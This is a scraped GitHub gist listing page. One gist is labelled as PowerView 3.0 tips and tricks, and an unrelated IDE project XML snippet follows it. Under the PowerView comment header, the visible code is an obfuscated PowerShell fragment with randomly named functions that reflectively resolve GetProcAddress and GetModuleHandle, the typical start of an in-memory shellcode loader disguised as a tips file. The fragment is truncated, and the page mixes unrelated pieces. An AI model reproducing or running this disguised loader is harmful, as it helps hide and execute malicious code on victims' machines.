Skip to content

Instantly share code, notes, and snippets.

View tinashechihoro's full-sized avatar

Tinashe Chihoro tinashechihoro

  • youprocontact
  • Zimbabwe
View GitHub Profile
@tinashechihoro
tinashechihoro / PowerView-3.0-tricks.ps1
Created April 29, 2021 09:28 — forked from HarmJ0y/PowerView-3.0-tricks.ps1
PowerView-3.0 tips and tricks
# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
# New function naming schema:
# Verbs:
# Get : retrieve full raw data sets
# Find : ‘find’ specific data entries in a data set
function jZs8 {
Param ($nfNyC, $m5M)
$nh = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $nh.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($nh.GetMethod('GetModuleHandle')).Invoke($null, @($nfNyC)))), $m5M))
}
function iUY9 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $a1LD,
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.6.4 (C:\Users\Eved\AppData\Local\Programs\Python\Python36\python.exe)" project-jdk-type="Python SDK" />
</project>